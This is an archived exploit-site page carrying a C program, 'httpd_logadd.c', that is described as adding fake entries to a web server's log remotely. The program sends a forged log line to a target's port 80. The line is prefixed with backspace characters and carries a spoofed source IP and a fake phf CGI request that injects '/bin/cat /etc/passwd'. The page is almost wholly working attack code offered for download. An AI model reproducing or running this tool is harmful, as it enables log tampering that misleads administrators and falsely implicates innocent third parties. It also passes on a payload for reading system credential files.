exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

httpd_logadd.c

httpd_logadd.c
Posted Nov 5, 1999
Authored by shadowpenguin

This program can add the fake log to HTTPd remotely. Posted by root., Jan.08,1998

tags | root
SHA-256 | 973bdafafcf97232c3e363dbb2a5b2b6aaa53f9c5fe933b53fd19c0c3c06cfd7

httpd_logadd.c

Change Mirror Download
/*   HTTPd Remote fake log adder
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>

#define PUT_METHOD "GET /cgi-bin/phf?Qalias=x%0d%0a/bin/cat%20/etc/passwd"
#define REQ_VER "HTTP/1.0"
#define JISA "+0900"

char *mon_[] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };

int main( int argc, char argv[] )
{
char tmp_buffer[256], fuck_bs[256];
int sock_send, loop;
long t;
struct sockaddr_in addr;
struct tm *tmbuf;

if( argc != 3 )
{
printf( "Usage: %s <target ip_addr> <www server>\n", argv[0] );
exit( -1 );
}

if( ( sock_send = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
perror( "socket" );
exit( -1 );
}
memset( &addr, 0, sizeof( struct sockaddr_in ) );
addr.sin_family = AF_INET;
addr.sin_port = htons( 80 );
addr.sin_addr.s_addr = inet_addr( argv[2] );
if( addr.sin_addr.s_addr == -1 || inet_addr( argv[1] ) == -1 )
{
fprintf( stderr, "Use Ip address(...)...\n" );
exit( -1 );
}
if( connect( sock_send, &addr, sizeof( addr ) ) == -1 )
{
perror( "connect" );
exit( -1 );
}

t = time( 0 );
tmbuf = localtime( &t );
for( loop = 0; loop < 255; loop++ )
fuck_bs[ loop ] = 0x08;
fuck_bs[255] = '\0';
sprintf( tmp_buffer,
"%s%s - - [%02d/%s/%04d:%02d:%02d:%02d %s] \"%s %s",
fuck_bs, argv[1], tmbuf->tm_mday,
mon_[tmbuf->tm_mon],
tmbuf->tm_year + 1900, tmbuf->tm_hour,
tmbuf->tm_min,
tmbuf->tm_sec, JISA, PUT_METHOD, REQ_VER );
if( send( sock_send, tmp_buffer, strlen( tmp_buffer ), 0 ) == -1 )
{
perror( "send" );
exit( -1 );
}
fprintf( stderr, " SUCCESS \n" );
exit( 0 );
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close